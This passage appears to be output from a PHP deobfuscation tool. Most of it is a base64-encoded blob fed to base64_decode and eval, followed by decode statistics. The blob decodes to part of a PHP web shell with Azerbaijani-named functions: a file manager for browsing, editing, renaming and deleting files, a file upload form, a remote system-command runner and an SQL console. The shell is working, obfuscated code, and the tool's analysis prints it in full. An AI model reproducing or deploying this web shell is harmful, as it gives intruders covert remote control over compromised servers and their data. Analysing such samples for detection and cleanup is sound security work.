lJyBuYW1lPSduZSc+PGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuc2hpZnJlbGUoJGZheWxBZGkpLiInIG5hbWU9J2ZheWwnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLnVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKS4iJyBuYW1lPSdxb3ZsdXEnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLnRvb2tZYXJhdCgieXNfdG9vayIpLiInIG5hbWU9J3Rvb2snPjx0ZXh0YXJlYSBuYW1lPSdjb250ZW50JyBjbGFzcz0nZmlsZV9lZGl0Jz4iLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpLiI8L3RleHRhcmVhPjwvZm9ybT4iOw0KCX0NCgllbHNlDQoJew0KCQlwcmludCAnRXJyb3IhICcgLiAgaHRtbHNwZWNpYWxjaGFycygkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKTsNCgl9DQp9DQplbHNlDQp7DQoJaWYoaXNfZGlyKCRkZWZhdWx0X2RpcikpDQoJew0KCQlpZihpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIpKQ0KCQl7DQoJCQkkcW92bHVxSWNoaSA9IHNjYW5kaXIoJGRlZmF1bHRfZGlyKTsNCgkJCWZvcmVhY2goJHFvdmx1cUljaGkgQVMgJiRlbWVsZW1udCkNCgkJCXsNCgkJCQkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGVtZWxlbW50LDAsMSkhPSIvIiA/ICIvIiA6ICIiOw0KCQkJCWlmKGlzX2RpcigkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRlbWVsZW1udCkpDQoJCQkJew0KCQkJCQkkZW1lbGVtbnQgPSAiMCIuJGVtZWxlbW50Ow0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQkkZW1lbGVtbnQgPSAiMSIuJGVtZWxlbW50Ow0KCQkJCX0NCgkJCX0NCgkJCWFzb3J0KCRxb3ZsdXFJY2hpKTsNCgkJCXByaW50ICI8dGFibGUgY2xhc3M9J2ZNYW5hZ2VyJyBzdHlsZT0nd2lkdGg6IDEwMCU7Jz48dGhlYWQ+PHRyIGNsYXNzPSdxYWxpbic+PHRoPnM8L3RoPjx0aD5GYXlsPC90aD48dGg+U2l6ZTwvdGg+PHRoPlRhcml4PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD5QZXJtaXNzaW9uczwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+IjsNCgkJCWZvcmVhY2goJHFvdmx1cUljaGkgQVMgJGVsZW1lbnQpDQoJCQl7DQoJCQkJJHVybCA9ICIiOw0KCQkJCSRlbGVtZW50ID0gc3Vic3RyKCRlbGVtZW50LDEpOw0KCQkJCSRmYXlsQWRpVGFtID0gJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZWxlbWVudDsNCgkJCQkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGVsZW1lbnQsMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJCQkJJGFkaSA9IGlzX2RpcigkZmF5bEFkaVRhbSkgPyAiWyAkZWxlbWVudCBdIiA6ICRlbGVtZW50Ow0KCQkJCSRjbGFzc04gPSAiIjsNCgkJCQlpZihpc19kaXIoJGZheWxBZGlUYW0pKQ0KCQkJCXsNCgkJCQkJaWYoJGVsZW1lbnQ9PSIuIikNCgkJCQkJew0KCQkJCQkJJHVybCA9ICI/cW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSk7DQoJCQkJCX0NCgkJCQkJZWxzZSBpZigkZWxlbWVudD09Ii4uIikNCgkJCQkJew0KCQkJCQkJJHllbmlVcmwgPSBleHBsb2RlKCIvIiwkZGVmYXVsdF9kaXIpOw0KCQkJCQkJZm9yZWFjaChhcnJheV9yZXZlcnNlKCR5ZW5pVXJsKSBBUyAkaj0+JHFxKQ0KCQkJCQkJew0KCQkJCQkJCWlmKHRyaW0oJHFxKSE9IiIpDQoJCQkJCQkJew0KCQkJCQkJCQl1bnNldCgkeWVuaVVybFtjb3VudCgkeWVuaVVybCktJGotMV0pOw0KCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCQkkdXJsID0gIj9xb3ZsdXE9Ii51cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKGltcGxvZGUoIi8iLCR5ZW5pVXJsKSkpKTsNCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCSR1cmwgPSAiP3Fvdmx1cT0iLnVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGZheWxBZGlUYW0pKSk7DQoJCQkJCX0NCgkJCQkJJGNsYXNzTiA9ICIgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA2MDA7JyI7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSR1cmwgPSAiP25lPWZheWxfb3h1JmZheWw9Ii51cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRlbGVtZW50KSkpLiImcW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSk7DQoJCQkJfQ0KCQkJCSRmYXlsZGkgPSBpc19maWxlKCRmYXlsQWRpVGFtKTsNCgkJCQkkaXNSZWFkYWJsZUNvbG9yID0gaXNfcmVhZGFibGUoICRmYXlsQWRpVGFtICkgJiYgaXNfd3JpdGVhYmxlKCAkZmF5bEFkaVRhbSApOw0KCQkJCXByaW50ICc8dHI+DQoJCQkJCQk8dGQ+PC90ZD4NCgkJCQkJCTx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNlaGlmZShcJycuJHVybC4nXCcpIicuJGNsYXNzTi4nPicuaHRtbHNwZWNpYWxjaGFycygkYWRpKS4nPC9hPjwvdGQ+DQoJCQkJCQk8dGQ+JyAuICgkZmF5bGRpP3NpemVGb3JtYXQoZmlsZXNpemUoJGZheWxBZGlUYW0pKTonJykgLiAnPC90ZD4NCgkJCQkJCTx0ZD4nIC4gKGRhdGUoJ2QgTSBZLCBIOmknICwgZmlsZWN0aW1lKCRmYXlsQWRpVGFtKSkpIC4gJzwvdGQ+DQoJCQkJCQk8dGQ+JyAuIGh0bWxzcGVjaWFsY2hhcnMoZmlsZW93bmVyKCRmYXlsQWRpVGFtKSkgLiAnPC90ZD4NCgkJCQkJCTx0ZCcgLiAoJGlzUmVhZGFibGVDb2xvcj8nIHN0eWxlPSJjb2xvcjogZ3JlZW47Iic6JycpIC4gJz4nIC4gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCggJGZheWxBZGlUYW0gKSkpLCAtNCkgLiAnPC90ZD4NCgkJCQkJCTx0ZD4nOw0KCQkJCQkJaWYoIGlzX2ZpbGUoJGZheWxBZGlUYW0pICkNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAoJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNlaGlmZShcJycuc3RyX3JlcGxhY2UoImZheWxfb3h1IiwiZmF5bF95dWtsZSIsJHVybCkuJ1wnKSInLiRjbGFzc04uJz5Eb3dubG9hZDwvYT4gfCAnKSAuDQoJCQkJCQkJCSgnIDxhIGhyZWY9ImphdmFzY3JpcHQ6Y2hhbmdlRmlsZU5hbWUoXCcnIC4gaHRtbHNwZWNpYWxjaGFycygkYWRpKSAuICdcJyAsIFwnJy5zdHJfcmVwbGFjZSgiZmF5bF9veHUiLCJmYXlsX2FkX2RleWlzaCIsJHVybCkuJ1wnKTsiJy4kY2xhc3NOLic+UmVuYW1lPC9hPiB8ICcpIC4NCgkJCQkJCQkJKCcgPGEgaHJlZj0iamF2YXNjcmlwdDpmYXlsU2lmaXJsYShcJycuc3RyX3JlcGxhY2UoImZheWxfb3h1IiwiZmF5bF9zaWZpcmxhIiwkdXJsKS4nXCcpOyInLiRjbGFzc04uJz5UcnVuY2F0ZTwvYT4gfCAnKSAuDQoJCQkJCQkJCSgnIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZmF5bFNpbChcJycuc3RyX3JlcGxhY2UoImZheWxfb3h1IiwiZmF5bF9zaWwiLCR1cmwpLidcJykiJy4kY2xhc3NOLic+RGVsZXRlPC9hPicpOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZSBpZiggJGFkaSAhPSAnWyAuIF0nICYmICRhZGkgIT0gJ1sgLi4gXScgKQ0KCQkJCQkJew0KCQkJCQkJCXByaW50ICgnIDxhIGhyZWY9ImphdmFzY3JpcHQ6emlwbGUoXCcnIC4gdXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZmF5bEFkaVRhbSkpKSAuICdcJykiJy4kY2xhc3NOLic+WmlwPC9hPiB8ICcpIC4NCgkJCQkJCQkJKCcgPGEgaHJlZj0iamF2YXNjcmlwdDpzaWxQYXBrYShcJycgLiB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRmYXlsQWRpVGFtKSkpIC4gJ1wnKSInLiRjbGFzc04uJz5TaWw8L2E+Jyk7DQoJCQkJCQl9DQoJCQkJCQlwcmludCAnPC90ZD4NCgkJCQkJPC90cj4nOw0KCQkJfQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIjxkaXYgc3R5bGU9J21hcmdpbjogMTBweCAwcHg7JyBjbGFzcz0ncWFsaW4nPlBlcm1pc3Npb25zIGRlbmlkZWQhPC9kaXY+IjsNCgkJfQ0KCX0NCn0NCnByaW50ICI8L3Rib2R5PjwvdGFibGU+IjsNCj8+DQoNCjxocj4NCjxhIGhyZWY9ImphdmFzY3JpcHQ6bmV3RmlsZSgpOyI+WWVuaSBmYXlsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6bmV3UGFwa2EoKTsiPlllbmkgcGFwa2E8L2E+PGJyPg0KPGEgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoJz9uZT1zaXN0ZW1fa29tJnFvdmx1cT08Pz11cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKT8+JykiPkljcmEgZWRpbjwvYT48YnI+DQo8YSBocmVmPSJqYXZhc2NyaXB0OnNlaGlmZSgnP25lPXNrbCcpOyI+U1FMPC9hPjxicj4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuZSIgdmFsdWU9ImZheWxfdXBsIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJxb3ZsdXEiIHZhbHVlPSI8Pz11cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSk/PiI+DQoJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVmYXlsIj4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsIj4NCjwvZm9ybT4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0icG9zdF9mb3JtIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPjwvZm9ybT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBzZWhpZmUodXJsKQ0Kew0KCXZhciBpbnB1dGxhciA9ICIiOw0KCXVybCA9IHVybC5zcGxpdCgiPyIpOw0KCWlmKHR5cGVvZiB1cmxbMV09PSJ1bmRlZmluZWQiKSByZXR1cm47DQoJdXJsID0gdXJsWzFdLnNwbGl0KCImIik7DQoJZm9yKHZhciBuIGluIHVybCkNCgl7DQoJCXZhciBrZXlBbmRWYWx1ZSA9IHVybFtuXS5zcGxpdCgiPSIpOw0KCQlpZih0eXBlb2Yga2V5QW5kVmFsdWVbMV09PSJ1bmRlZmluZWQiKSBjb250aW51ZTsNCgkJaW5wdXRsYXIrPSI8aW5wdXQgbmFtZT0nIitrZXlBbmRWYWx1ZVswXSsiJyB2YWx1ZT0nIitrZXlBbmRWYWx1ZVsxXSsiJyB0eXBlPSdoaWRkZW4nPiI7DQoJfQ0KCWRvY3VtZW50LmFsbCgicG9zdF9mb3JtIikuaW5uZXJIVE1MID0gaW5wdXRsYXI7DQoJZG9jdW1lbnQuYWxsKCJwb3N0X2Zvcm0iKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGZheWxTaWwodXJsKQ0Kew0KCWlmKCBjb25maXJtKCdFbWluc2VuIGF0YXNoPycpICkNCgl7DQoJCXNlaGlmZSh1cmwpOw0KCX0NCn0NCmZ1bmN0aW9uIGZheWxTaWZpcmxhKHVybCkNCnsNCglpZiggY29uZmlybSgnRW1pbnNlbiBhdGFzaD8nKSApDQoJew0KCQlzZWhpZmUodXJsKTsNCgl9DQp9DQpmdW5jdGlvbiBjaGFuZ2VGaWxlTmFtZShuYW1lLCB1cmwpDQp7DQoJdmFyIGdldE5ld05hbWUgPSBwcm9tcHQoJ0NoYW5nZSBmaWxlIG5hbWU6JyAsIG5hbWUpOw0KCWlmKCBnZXROZXdOYW1lICkNCgl7DQoJCXNlaGlmZSh1cmwgKyAiJm5ld19uYW1lPSIgKyBnZXROZXdOYW1lKTsNCgl9DQp9DQpmdW5jdGlvbiBuZXdGaWxlKCkNCnsNCgl2YXIgZ2V0TmV3TmFtZSA9IHByb21wdCgnRmlsZSBuYW1lOicpOw0KCWlmKCBnZXROZXdOYW1lICkNCgl7DQoJCXNlaGlmZSgiP25lPWZheWxfeWFyYXQmYWQ9IiArIGdldE5ld05hbWUgKyAiJnFvdmx1cT08Pz11cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKT8+Iik7DQoJfQ0KfQ0KZnVuY3Rpb24gbmV3UGFwa2EoKQ0Kew0KCXZhciBnZXROZXdOYW1lID0gcHJvbXB0KCdGaWxlIG5hbWU6Jyk7DQoJaWYoIGdldE5ld05hbWUgKQ0KCXsNCgkJc2VoaWZlKCI/bmU9cGFwa2FfeWFyYXQmYWQ9IiArIGdldE5ld05hbWUgKyAiJnFvdmx1cT08Pz11cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKT8+Iik7DQoJfQ0KfQ0KZnVuY3Rpb24gc2lzdGVtS29tKCkNCnsNCgl2YXIga29tYW5kYSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbXJfZXRfYXRhc2gnKS52YWx1ZTsNCglpZigga29tYW5kYSApDQoJew0KCQlzZWhpZmUoIj9uZT1zaXN0ZW1fa29tJmtvbT0iICsgYjY0RW5jb2RlVW5pY29kZShrb21hbmRhKSArICImcW92bHVxPTw/PXVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpPz4iKTsNCgl9DQp9DQpmdW5jdGlvbiBza2xfYmFzKCkNCnsNCgl2YXIgc2tsRW1yID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NrbF9lbXInKS52YWx1ZTsNCgkNCglzZWhpZmUoIj9uZT1za2wmZW1yPSIgKyBiNjRFbmNvZGVVbmljb2RlKHNrbEVtcikpOw0KfQ0KZnVuY3Rpb24gYjY0RW5jb2RlVW5pY29kZShzdHIpDQp7DQoJcmV0dXJuIGJ0b2EoZW5jb2RlVVJJQ29tcG9uZW50KHN0cikucmVwbGFjZSgvJShbMC05QS1GXXsyfSkvZywNCgkJZnVuY3Rpb24gdG9Tb2xpZEJ5dGVzKG1hdGNoLCBwMSkgew0KCQkJcmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoJzB4JyArIHAxKTsNCgkJfSkpOw0KfQ0KZnVuY3Rpb24gZ290bygpDQp7DQoJdmFyIGRpciA9IHByb21wdCgnRGlyOicpOw0KCWlmKCBkaXIgKQ0KCXsNCgkJc2VoaWZlKCI/cW92bHVxPSIgKyBkaXIpOw0KCX0NCn0NCmZ1bmN0aW9uIHppcGxlKHFvdmx1cSkNCnsNCgl2YXIgZGlyID0gcHJvbXB0KCdEaXI6JyAsICI8Pz1odG1sc3BlY2lhbGNoYXJzKCRkZWZhdWx0X2Rpcik/PiIpOw0KCWlmKCBkaXIgKQ0KCXsNCgkJc2VoaWZlKCI/bmU9emlwbGUmcW92bHVxPTw/PXVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpPz4memY9IiArIHFvdmx1cSArICImc2F2ZV90bz0iICsgYjY0RW5jb2RlVW5pY29kZShkaXIpKQ0KCX0NCn0NCmZ1bmN0aW9uIHNpbFBhcGthKHFvdmx1cSkNCnsNCglpZiggY29uZmlybSgnRW1pbnNlbiBhdGFzaD8nKSApDQoJew0KCQlzZWhpZmUoIj9uZT1wYXBrYV9zaWwmcW92bHVxPTw/PXVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpPz4memY9IiArIHFvdmx1cSkNCgl9DQp9DQpmdW5jdGlvbiBzaGlmcmVsZWUoKQ0Kew0KCXZhciB2YWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnZmlsZV9lZGl0JylbMF0udmFsdWU7DQoJdmFyIHJlcHAgPSBbJ2EnLCdpJywnZScsJ3MnLCdsJywnYicsJ3UnLCdvJywncCcsJ2gnLCJcXCgiLCJcXCkiLCJcXDwiLCJcXD4iLCJcXD8iLCJcXDsiLCJcXFsiLCJcXF0iLCJcXCQiXTsNCglmb3IodmFyIHMgaW4gcmVwcCkNCgl7DQoJCXZhciBoID0gcmVwcFtzXTsNCgkJdmFsbCA9IHZhbGwucmVwbGFjZShuZXcgUmVnRXhwKGgsICdnJykgLCAnfDonK3MrJzp8Jyk7DQoJfQ0KDQoJZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnZmlsZV9lZGl0JylbMF0udmFsdWUgPSB2YWxsOw0KfQ0KDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZW1yX2V0X2F0YXNoIikuYWRkRXZlbnRMaXN0ZW5lcigia2V5dXAiLCBmdW5jdGlvbihldmVudCkNCnsNCglldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KCWlmIChldmVudC5rZXlDb2RlID09PSAxMykNCgl7DQoJCXNpc3RlbUtvbSgpOw0KCX0NCn0pOw0KPC9zY3JpcHQ+DQo8L2JvZHk+DQo8L2h0bWw+DQo="
)
) ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 5a23832237ad551d1274f8e238daf186 |
| Eval Count | 1 |
| Decode Time | 68 ms |